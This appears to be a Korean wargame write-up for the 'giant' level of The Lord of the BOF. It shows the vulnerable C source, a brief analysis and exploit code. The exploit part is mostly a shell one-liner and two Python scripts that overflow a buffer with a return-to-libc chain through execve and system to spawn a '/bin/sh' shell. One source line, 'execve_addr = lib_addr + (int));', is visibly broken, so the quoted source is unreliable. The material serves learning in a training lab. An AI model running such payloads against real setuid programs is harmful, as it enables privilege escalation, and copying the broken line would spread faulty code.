[LOB]Level14. giant

 

+ Only Execve

/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int));
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

0x01. Analysis

소스코드에는 다음단계의 libc주소를 파싱해서 가져와서 lib_addr에 저장을 한다.

그리고 해당 libc에서 __execve 함수 주소의 offset을 구해서 execve_offset에 저장을 한다.

argv[1][44] 에 주소를 ret에 저장을 하고 해당 값이 다르면 “You must use execve!”문자열을 출력하고 프로그램을 종료된다.

ret주소에 execve주소로 Buffer Overflow를 시키고 인자값으로 system함수의 주소를 넣어준다.

system 함수의 인자로 “/bin/sh”의 주소를 넣어주면 payload가 완성된다.

__execve : 0x400a9d48

system : 0x40058ae0

“/bin/sh” = 0x400fbff9


0x02. Exploit

./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"*2+"\xf9\xbf\x0f\x40"'`"

“\x0a”를 엔터로 인식하기 때문에 페이로드 전체를 “” 로 묶어준다.


import os
import struct

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/bugbear/giant"

execve = 0x400a9d48
system = 0x40058ae0
bin_sh = 0x400fbff9

payload = "\x90"*44
payload = append(p32(execve))
payload = append(p32(system))
payload = append("\x90"*4)
payload = append(p32(bin_sh))

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)
import os
import struct

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/bugbear/giant"

execve = 0x400a9d48
system = 0x40058ae0
bin_sh = 0x400fbff9
exit = 0x400391e0

payload = "\x90"*44
payload = append(p32(execve))
payload = append(p32(system))
payload = append(p32(exit))
payload = append(p32(bin_sh))

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)